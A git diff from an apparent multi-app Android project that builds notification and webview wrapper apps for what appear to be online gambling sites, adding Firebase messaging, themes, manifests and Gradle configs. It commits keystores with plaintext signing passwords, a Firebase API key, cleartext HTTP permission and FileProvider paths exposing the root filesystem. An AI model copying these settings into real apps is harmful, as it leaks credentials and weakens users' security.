channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
pasti77/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'PETROS777')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "267"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'PGK76')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "109"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
play33/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
play33/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "Play33"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.noti.play3326"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#08192A')
//app 名字
resValue('string', 'app_name', 'Play33')
buildConfigField "int", "USERID", "116"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "830377383927",
"project_id": "play33-950ff",
"storage_bucket": "play33-950ff.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:830377383927:android:be9d7fb8f6616b7635c0f2",
"android_client_info": {
"package_name": "com.noti.play3326"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyDbRRA8vBKfxWiIB3pTCKeiqVYzKw1OXOE"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
play33/justlet.jks Normal file

Binary file not shown.

32
play33/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 289 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
play33/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '420pokies')
buildConfigField "String", "BASE_URL", "\"https://420pokies.com/\""
buildConfigField "int", "USERID", "277"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'POKIESPLAY')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "280"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'POWERCUCI')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://pwrcuci.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "253"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'PROTEIN')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://pmcykch.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "254"
//状态栏文字颜色是否为白色

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'REDSPIN3343')
buildConfigField "String", "BASE_URL", "\"https://redspinplay.com/\""
buildConfigField "int", "USERID", "263"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -24,7 +24,6 @@ android {
//app 名字
resValue('string', 'app_name', 'REDSPIN8')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://redspinplay.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "256"
//状态栏文字颜色是否为白色

View File

@@ -67,7 +67,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -85,3 +85,26 @@ include ':neftsoft'//294
include ':AU99live'//295
include ':myklbet'//296
include ':Joker9au'//297
include ':we88sg26'//21
include ':NEPSPIN88'//298
include ':2URUS'//299
include ':1xaceau'//230
include ':play33'//116
include ':millionking96'//38
include ':b88'//301
include ':LSDpokies'//302
include ':pasti77'//303
include ':KINGCUCI'//304
include ':mbs9'//305
include ':JDCLUB9VIP'//158
include ':ANTBET'//307
include ':BOSSKU'//308
include ':jpot9'//309
include ':titanplayz'//310
include ':amazy'//311
